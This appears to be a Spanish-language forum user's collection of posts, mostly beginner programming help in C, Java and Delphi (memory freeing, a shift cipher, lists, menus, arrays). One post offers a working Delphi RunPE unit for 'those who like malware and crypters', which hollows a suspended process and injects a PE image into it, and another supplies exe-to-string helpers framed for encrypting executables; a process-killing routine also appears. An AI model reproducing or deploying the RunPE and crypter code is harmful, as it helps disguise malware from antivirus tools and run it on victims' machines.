Mensajes

No olvides algo muy importante que es liberar la memoria
despues utilizarlos

para c se usa la funcion free

Código (c) [Seleccionar] Expandir


  free(arreglo);


y para c++ delete cuando son punteros simples o delete[] cuando son arreglos dinamicos

Código (cpp) [Seleccionar] Expandir


  delete[] arreglo;


te aconsejo veas el foro hermao indetectables.net ahi tienen una sección para autoit con ejemplos y tutoriales creo que te servira mas

Funciones para el tratamiento de procesos el codigo es extraido de club Delphi

Código (delphi) [Seleccionar] Expandir

uses
  SysUtils,windows,TlHelp32;

{obtener el nombre de los procesos activos}
procedure obtenerProcesos;
var
continuar:BOOL;
snapshotHandle:THandle;
processEntry32:TProcessEntry32;
begin
    { Creas un Handle para leer procesos }
   snapshotHandle:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
   try
    { Creás un buffer de procesos }
    processEntry32.dwSize:=sizeof(processEntry32);
    { continuar es un flag que busca el siguiente proceso y, si hay, lo guarda en processEntry32 }
    continuar:=Process32First(snapshotHandle,processEntry32);

    while continuar do
    begin
       {muestra los procesos por consola}
       writeln(processEntry32.szExeFile);
       {busca el siguiente proceso si retorna false sale del bucle}
       continuar:=Process32Next(snapshotHandle,processEntry32);
    end;
   finally
     {cerramos el handle llamado snapshotHandle}
     CloseHandle(snapshotHandle);
   end;
end;


{compruba si un proceso esta activo a traves de su nombre}
function ProcessExists(AExeName: String): boolean;
var
  ContinueLoop: LongBool;
  FSnapshotHandle: THandle;
  FProcess: TProcessEntry32;
  FExeFound: TFileName;
begin
  { Limpias el hacés un genérico para el FileName }
  AExeName := UpperCase(AExeName);
  Result := False;
  { Creas un Handle para leer procesos }
  FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  { Creás un buffer de procesos }
  FProcess.dwSize := SizeOf(FProcess);
  { ContinueLoop es un flag que busca el siguiente proceso y, si hay, lo guarda en FProcess }
  ContinueLoop := Process32First(FSnapshotHandle, FProcess);
  while (ContinueLoop) and NOT(Result) do
  begin
    { Almacenás el nombre "genéroco" del proceso encontrado }
    FExeFound := UpperCase((ExtractFileName(FProcess.szExeFile)));
    Result := (FExeFound = AExeName);
    ContinueLoop := Process32Next(FSnapshotHandle, FProcess);
  end;
  { Cerrás el Handle }
  CloseHandle(FSnapshotHandle);
end;


{mata algun proceso activo}
function ProcessKill(AExeName: String; Iterative: boolean = TRUE): boolean;
const
  TERMINATE = $0001;
var
  ContinueLoop: BOOL;
  FSnapshotHandle: THandle;
  FProcess: TProcessEntry32;
  FExeFound: TFileName;
Label NO_ITERATIVE;
begin
  Result := False;
  { Limpias el hacés un genérico para el FileName }
  AExeName := UpperCase((AExeName));
  { Creas un Handle para leer procesos }
  FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  { Creás un buffer de procesos }
  FProcess.dwSize := SizeOf(FProcess);
  { ContinueLoop es un flag que busca el siguiente proceso y, si hay, lo guarda en FProcess }
  ContinueLoop := Process32First(FSnapshotHandle, FProcess);
  while (ContinueLoop) do
  begin
    { Almacenás el nombre "genéroco" del proceso encontrado }
    FExeFound := UpperCase((ExtractFileName(FProcess.szExeFile)));
    if (FExeFound = AExeName) then
    begin
      Result := True;
      { Para matarlo lo debés abrir con el flag de TERMINATE }
      TerminateProcess(OpenProcess(TERMINATE, BOOL(0), FProcess.th32ProcessID),0);
      if NOT(Iterative) then { Si no es iterativo sale directamente a cerrar el Handle }
        GoTo NO_ITERATIVE;
    end;
    ContinueLoop := Process32Next(FSnapshotHandle, FProcess);
  end;
NO_ITERATIVE :
  CloseHandle(FSnapshotHandle);
end;


begin

  obtenerProcesos;//muestra el nombre de los procesos activos
  writeln;
  writeln('Existe calc.exe ',ProcessExists('calc.exe')); //es la calculadora de windows
  Writeln('Proceso matado ',ProcessKill('calc.exe'));
  readln;
end.


Mira este codigo a ver si te sirve

Código (c) [Seleccionar] Expandir

void cifrar(char cadena[],int clave,int size){
  int i;
  for(i=0;i<size;i++){
cadena[i]=(char)((int)cadena[i]+clave);
  }
}

void descifrar(char cadena[],int clave,int size){
  int i;
  for(i=0;i<size;i++){
cadena[i]=(char)((int)cadena[i]-clave);
  }
}




int main()
{
char cadena[]="hola mundo";
int size=strlen(cadena);
cifrar(cadena,13,size);
printf("cadena cifrada: %s",cadena);
descifrar(cadena,13,size);
printf("\ncadena descifrada: %s",cadena);

getch();
return 0;
}

Te dejo un ejemplo de como podrias hacerlo, aqui lo importante es usar la clase List que es similar a la vector en c++

Código (java) [Seleccionar] Expandir

import java.util.ArrayList;
import java.util.List;

/**
*
* @author crack81
*/
public class UsandoList {
   
   public static void main(String[] args) {
       
       List<Jugador> jugadores=new ArrayList<Jugador>();//esto es similar al vector en c++
       Jugador j1=new Jugador("javier torres");//creamos un nuevo jugador
       jugadores.add(j1);//lo añadimos a la lista de jugadores
       System.out.println(jugadores.get(0).getNombre());//obtenemos el nombre del primer jugador en la lista a traves del index
       
       for(int i=1;i<=10;i++){//creamos un for que añadira 10 jugadores a la lista
           jugadores.add(new Jugador("jugador nuemero "+i));//creamos nuevo jugadores con numero diferente
       }
       
       System.out.println("------------------------------------------------");
       for(Jugador jdor:jugadores){//usamos un for each para mostrar todos los nombres de los jugadores
           System.out.println(jdor.getNombre());//mostramos todos los nombres
       }
       
   }
   
}

class Jugador{
 
   private String nombre;
   
   public Jugador(final String nombre){//constructor de la clase
     this.nombre=nombre;    
   }
   
   public void setNombre(String nombre){//camabiamos el nombre
     this.nombre=nombre;
   }
   
   public String getNombre(){//obtenemos el nombre actual
     return nombre;
   }
}


Si funciona en tu maquina virtual lo mas seguro es que si

Para los que les gusta el tema del malware y los crypter les traigo una traduccion que hice de un runpe originalmente hecho en c++

Código (delphi) [Seleccionar] Expandir

unit Unit1;

interface
uses windows;

procedure run(szFilePath:LPSTR;pFile:PVOID);

implementation

function NtUnmapViewOfSection(ProcessHandle:DWORD; BaseAddress:Pointer):DWORD; stdcall; external 'ntdll';
procedure RtlZeroMemory(Destination:pointer;Length:DWORD);stdcall;external 'ntdll';

procedure run(szFilePath:LPSTR;pFile:PVOID);
var
IDH:PImageDosHeader;
INH:PImageNtHeaders;
ISH:PImageSectionHeader;
PI:PROCESS_INFORMATION;
SI:STARTUPINFOA;
CTX:PContext;
dwImageBase:PDWORD;
pImageBase:LPVOID;
count:Integer;
BitesRead:SIZE_T;
ByteWritten:SIZE_T;
ByteWritten2:SIZE_T;
ByteWritten3:SIZE_T;
begin
  IDH:=PImageDosHeader(pFile);
  if (IDH.e_magic=IMAGE_DOS_SIGNATURE) then
  begin
    INH:=PImageNtHeaders(DWORD(pFile)+IDH._lfanew);
    if INH.Signature=IMAGE_NT_SIGNATURE then
    begin
      RtlZeroMemory(@SI,sizeof(SI));
      RtlZeroMemory(@PI, sizeof(PI));

      if( CreateProcessA(szFilePath,nil,nil,nil,false,CREATE_SUSPENDED,nil,nil,SI,PI)) then
      begin
         CTX:=PContext(VirtualAlloc(nil,sizeof(CTX),MEM_COMMIT,PAGE_READWRITE));
         CTX.ContextFlags:=CONTEXT_FULL;

         if GetThreadContext(PI.hThread,_CONTEXT(CTX^)) then
         begin
           ReadProcessMemory(PI.hProcess,pointer(CTX.Ebx+8),pointer(@dwImageBase),4,BitesRead);

           if (Dword(dwImageBase)=INH.OptionalHeader.ImageBase) then
           begin
             NtUnmapViewOfSection(PI.hProcess,pointer(dwImageBase));
           end;

            pImageBase:= VirtualAllocEx(PI.hProcess, POINTER(INH.OptionalHeader.ImageBase), INH.OptionalHeader.SizeOfImage, 12288, PAGE_EXECUTE_READWRITE);
            if pImageBase<>nil then
            begin
              WriteProcessMemory(PI.hProcess, pImageBase, pFile, INH.OptionalHeader.SizeOfHeaders, ByteWritten);
              for count := 0 to INH.FileHeader.NumberOfSections-1 do
              BEGIN
                  ISH:=PImageSectionHeader(DWORD(pFile) + IDH._lfanew+ 248 + (Count * 40));
                  WriteProcessMemory(PI.hProcess, pointer(DWORD(pImageBase) + ISH.VirtualAddress), pointer(DWORD(pFile) + ISH.PointerToRawData), ISH.SizeOfRawData, ByteWritten2);
              END;

               WriteProcessMemory(PI.hProcess, pointer(CTX.Ebx + 8), pointer(@INH.OptionalHeader.ImageBase), 4, ByteWritten3);
               CTX.Eax := DWORD(pImageBase) + INH.OptionalHeader.AddressOfEntryPoint;
               SetThreadContext(PI.hThread, _CONTEXT(CTX^));
               ResumeThread(PI.hThread);
            end;

         end;

      end;

    end;

  end;
   VirtualFree(ctx, 0, MEM_RELEASE)

end;

end.

Funcion para saber si un numero esta en un rango entre dos numeros,
si es cierto retorna true sino retorna false

Código (delphi) [Seleccionar] Expandir

function numberIsInRange(const number,min,max:integer):boolean;
begin
result:=((min<=number) and (number<=max));
end;

begin
    writeln(numberIsInRange(5,1,100);  //muestra true
    writeln(numberIsInRange(0,55,98);  //muestra false
    writeln(numberIsInRange(25,55,98); //muestra true
    Readln;
end.


Funcion que muestra los tamaños maximos de los diferentes tipos de entero
en Delphi, el enfoque principal son las funciones low y High que son las
encargadas de retornarnos ese valor, esto solo es valido con numeros enteros
y no con reales

Código (delphi) [Seleccionar] Expandir

procedure sizeMaxOfDataType;
begin
  writeln('Byte    -> ',low(Byte),' to ',high(Byte));
  writeln('Integer -> ',low(integer),' to ',high(integer));
  writeln('Int64   -> ',low(Int64),' to ',high(Int64));
  writeln('LongInt -> ',low(LongInt),' to ',high(LongInt));
  writeln('Longword -> ',low(Longword),' to ',high(Longword));
  writeln('Word -> ',low(Word),' to ',high(Word));
end;


Funciones una para leer archivos .exe y almacenarlo como string y la otra para poder convertir strings a .exe
utilizando la clase Tfilestream

Código (delphi) [Seleccionar] Expandir

uses
  SysUtils,classes;

{
Funcion que lee un fichero y lo convierte a string el caso mas comun es
cuando necesitas leer un exe y hacer alguna modifcacion como cifrarlo o
alterar su informacion la funcion necesita el use classes para poder llamar a
la clase Tfilestream

}
function binaryToString(const path:string):String;
var
_File:TFileStream;
size:Int64;
begin
  if FileExists(path) then
  begin
    _File:=TFileStream.Create(path,fmOpenRead);
    try
      size:=_File.Size;
      SetLength(result,size);
      _File.Read(result[1],size);
    finally
      _File.Free;
    end;
  end
  else result:='';
end;


{Funcion para crear un fichero en base a un string que le pasemos, esta
funcion se usa en conjunto con la anterior ya que despues de leer y modificar
un fichero necesitamos volver a regresarlo a un estado de fichero  por eso la
necesidad de esta funcion.
}
function stringToBinary(const nameExe,source:string):Boolean;
var
_File:TFileStream;
begin
  result:=false;
  _File:=TFileStream.Create(nameExe,fmCreate);
  try
    _File.Write(source[1],length(source));
  finally
    _File.Free;
  end;

  result:=true;
end;

var
source:string;
begin
    source:=binaryToString('C:\archivo.exe');
    stringToBinary('C:\nuevoArchivo.exe',source);
    writeln('listo');
    Readln;
end.


Preguntas porque no te regresaba al menu era por que en la funcion getionar jugadores despues de escoger una opcion no volvia a mostrar el menu para volver al menu principal

Código (c) [Seleccionar] Expandir

void Gestionar_jugadores()
{
system("cls");
jugador jugadores[CANTJUG];
//inicializo todo el arreglo
int i;
for (i=0; i<CANTJUG;i++)
{
inicializo(jugadores,i);
}



int op;
while (op!=4)
{
system("cls");
printf("MENU\n");
printf("====\n");
printf("1-Alta de jugador\n");
printf("2-Baja de jugador\n");
printf("3-Modificacion jugador\n");
printf("4-Volver al menu anterior\n");
printf("\n\n");
op = ingopcion();

switch (op)
{
            case 1:
alta(jugadores);
                    break;
            case 2:
baja(jugadores);
                    break;
            case 3:
modificacion(jugadores);
                    break;
            case 4: menu();
break;
        }

}


}



y tambien habia un detalle en la funcion alta ya que scanf no leian bien la opcion de confirmar

Código (c) [Seleccionar] Expandir

void alta(jugador jugadores[])//problema me sigue pidiendo jugadores en vez de volver al menu
{
char confirma;
int nroJug;
system("cls");
printf("\nINGRESO DATOS DE JUGADORES");
printf("\n==========================\n");
nroJug = ingNroJugador();
if (jugadores[nroJug-1].nombre.largopalabra==0)
{
jugadores[nroJug-1].nombre = ingresoNombre();
jugadores[nroJug-1].apellido = ingresoApellido();
jugadores[nroJug-1].cedula = ingresoCedula();
jugadores[nroJug-1].fechanacimiento = ingresoFechanacimiento();
jugadores[nroJug-1].alias = ingresoAlias();
getchar();
printf("Confirma Ingreso S/N");
fflush(stdin);
scanf("%c",&confirma);
getchar();
if (confirma=='N' || confirma == 'n')
{
inicializo(jugadores,nroJug-1);
menu();
}
}
else
{
getchar();
printf("\nJugador YA existe");
printf("\nPresione cualquier tecla para continuar");
getchar();
}

}

Que bueno que aprendas a programar en c sigue asi
Bueno tu lo que andas buscando es un arreglo bidimensional o tambien llamado de dos divisones

prueba esto:

Código (c) [Seleccionar] Expandir

int main()
{
char nombre[10]="maria";

//Esto es un arreglo bidimensinal
//el primer corcheta es la cantidad de nombres
//el segundo corchete es el tamano maximo de caracteres por cada nombre
char nombres[4][10]={"jose","maria","rosa","sara"};

int i;
for(i=0;i<4;i++){
  printf("%s\n",nombres[i]);   //mostramos todos los nombres
  if(strcmp(nombre,nombres[i])==0){
printf("se encontro el nombre en la lista\n");//si encuentra el nombre muestra el mensaje
  }
}

getchar();
return 0;
}